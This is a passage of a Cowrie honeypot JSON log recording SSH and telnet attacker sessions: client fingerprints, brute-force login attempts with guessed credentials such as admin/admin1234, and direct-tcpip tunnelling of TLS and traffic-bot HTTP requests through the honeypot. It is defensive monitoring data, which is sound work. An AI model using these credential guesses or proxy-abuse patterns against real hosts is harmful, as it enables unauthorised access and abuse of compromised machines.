TD0qS5l7O6ACFaG6xdwgiwMqCHHvlfYLFBGzOBrZpeu8ZXQvq63HW9MOUAiLU2MJ7KGmLnyTsJTYZfIe9zZ42p3XYm5w7fgnSPb%2FG2WdS%2F24YOviPulwZe5lcFwo8eLvTYC%2B9AnQhP9zp%2FnOXpKv9%2BPbAYGK4bxiFKlVS10HpObFQp6x1lTDYzWfKptf1I5iF0tV50Vh0Dlo%2Fmyko%2FlolwQxDhwA76Gb6FBe0iboYnoU%2FzFFC%2B7Geb70yg0X%2Bgmyk0CFQ9z8h1TlsyDFZCDskL3F7fqOIit%2BKEpwJjMIejphWHHpq3mEXztZ%2BxUPIP1WFCUgZB0ZWXIDHUvqM91KPAn4QhpNxqGE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.052512Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.234049Z","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.270100Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?[\\xd3]\\':\\x9eY\\xef\\xd5\\x99o\\xe5D\\x0b=\\xaf\\xe3\\x1a\\x1d\\xf5\\xc5\\x8f\\x8d\\xb7\\x1eF\\xbe\\xea\\n\\x94\\x03 \\xec\\x81W\\xcd\\xdb\\xe6\\xcf\\x06\\xff\\xdd\\x067\\x16\\xaf\\xf1\\x10&^cH\\x90\\x9dM\\xe1HTM\\x9b\\xa9\\x9e\\x08\\x08\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 Z\\xf0\\xaeM\\xf9\\xcf\\xf0\\xe5\\xbe\\xdc\\x80#.\\x17\\x8b\\x11\\t=;f\\x8f\\x97\\xee_\"\\xbe\\x98\\xf3\\xdc\\x98\\xcb-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?[\\xd3]\\':\\x9eY\\xef\\xd5\\x99o\\xe5D\\x0b=\\xaf\\xe3\\x1a\\x1d\\xf5\\xc5\\x8f\\x8d\\xb7\\x1eF\\xbe\\xea\\n\\x94\\x03 \\xec\\x81W\\xcd\\xdb\\xe6\\xcf\\x06\\xff\\xdd\\x067\\x16\\xaf\\xf1\\x10&^cH\\x90\\x9dM\\xe1HTM\\x9b\\xa9\\x9e\\x08\\x08\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 Z\\xf0\\xaeM\\xf9\\xcf\\xf0\\xe5\\xbe\\xdc\\x80#.\\x17\\x8b\\x11\\t=;f\\x8f\\x97\\xee_\"\\xbe\\x98\\xf3\\xdc\\x98\\xcb-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.273143Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.315329Z","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.353731Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\x0b\\xb2e\\xa3\\xfag\\xdch\\x0f\\xd8\\nQjG+g\\xe2g=\\xb9\\x1c2/%u@o\\xad\\xdd \\xcd \\x0c\\x0e?\\xc5\\r@\\xf7:Tr,\\x92JN\\xe3\\xb4\\x83\\x9c\\xc3\\xb3\\x8e\\x8d\\x04I\\x89\\xde\\xb4\\x8ewH\\xf3\\xdb\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x99q\\x06?9n\\xdc2i3k\\xe5\\x02\\xb7\\xd4\\x19\\x91\\x8ccv\\xd7M\\x0b$\\xa6\\x9c\\xe0\\xb7\\xa8\\xc7\\xeb3\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\x0b\\xb2e\\xa3\\xfag\\xdch\\x0f\\xd8\\nQjG+g\\xe2g=\\xb9\\x1c2/%u@o\\xad\\xdd \\xcd \\x0c\\x0e?\\xc5\\r@\\xf7:Tr,\\x92JN\\xe3\\xb4\\x83\\x9c\\xc3\\xb3\\x8e\\x8d\\x04I\\x89\\xde\\xb4\\x8ewH\\xf3\\xdb\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x99q\\x06?9n\\xdc2i3k\\xe5\\x02\\xb7\\xd4\\x19\\x91\\x8ccv\\xd7M\\x0b$\\xa6\\x9c\\xe0\\xb7\\xa8\\xc7\\xeb3\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:19.356375Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":36244,"dst_ip":"159.203.135.109","dst_port":22,"session":"a66f28460eb4","protocol":"ssh","message":"New connection: 2.99.213.222:36244 (159.203.135.109:22) [session: a66f28460eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:28.655329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:28.663368Z","src_ip":"2.99.213.222","session":"a66f28460eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:28.763310Z","src_ip":"2.99.213.222","session":"a66f28460eb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"javier","password":"javier","message":"login attempt [javier/javier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:29.199085Z","src_ip":"2.99.213.222","session":"a66f28460eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:30.303388Z","src_ip":"2.99.213.222","session":"a66f28460eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.55130672454834,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:42.708933Z","src_ip":"94.23.66.112","session":"51d96adf0e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.13645887374878,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:44.249918Z","src_ip":"172.81.62.90","session":"db4173a9df25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.36947202682495,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:44.466634Z","src_ip":"172.81.62.90","session":"9965809a68bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51901,"dst_ip":"10.17.0.5","dst_port":22,"session":"14f03a538b01","protocol":"ssh","message":"New connection: 123.27.168.40:51901 (10.17.0.5:22) [session: 14f03a538b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:47.653816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:47.660845Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:47.985515Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.2","message":"Connection lost after 43.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:49.064458Z","src_ip":"63.141.242.2","session":"bb10cb324611","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:49.099381Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:49.467111Z","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:49.555728Z","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:27:49.840698Z","src_ip":"123.27.168.40","session":"14f03a538b01","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JVE0NDIkV2Qkd0hqd15CeQ%3D%3DbMAm%2FQr2vPAxpy3TjKnlSk9W5jpMX8vzoOjU03rD8idWlQyypcPt4N9bS2iF1BCh4HR3bEfaHyLW%2BaWWB3bUiB9w0E1Jv7tpW1oU5Qcsrt3jmEjep%2BvjwlVjN2LeLYPfvE0KKZViMGhpNM97y1QCdi87qLBN6aa0sUyVdqDh%2BWiCDHxqqmsC4Do3F5nYHcBu9v2wQ0sBb9EFfH9zWG3UFZzhmw3UJG3MIHGo6KaKrOG6wN3JyFBjCc%2F%2BFN2LO9OldpwIyKiVmJP4Y3rveFYbJ3Qo2SOFNj1IqdlE%2FhHOs8AvzIUVjacNsQYR12J4fFTvTPjmJ53kp%2Fq7HRMdxVC5X%2FJsIGyfQ0U6DGN00qFqLyl6uo%2BjFiIPizUhLUWmwVUYyQlJG51h29afIfoN9Osy16zY53admFG%2BVx3HQZajvUglncyoFUHDP6gBFveY9qHzF9xmbJopy8wOiRlz8C5oay54%2FEp32zwSf53H6xucOnZBl3GwhtXCg2YaJI%2BYmzo4taiH6topcz9zw%2Fhe1S%2FbzN3Mzv8IGSPIBQDltU0NLo0MNK0ze5vLz8r1qx3fuLbkOd5v0fYIC9mWbjgOFMqiY42QBqUsOC8nvMdKvh7lBZgMrSwd5YzVPZQsI8sgiFaavMV3bL69AasgTQ96t8ieQORe3SF4SACpihN8qu%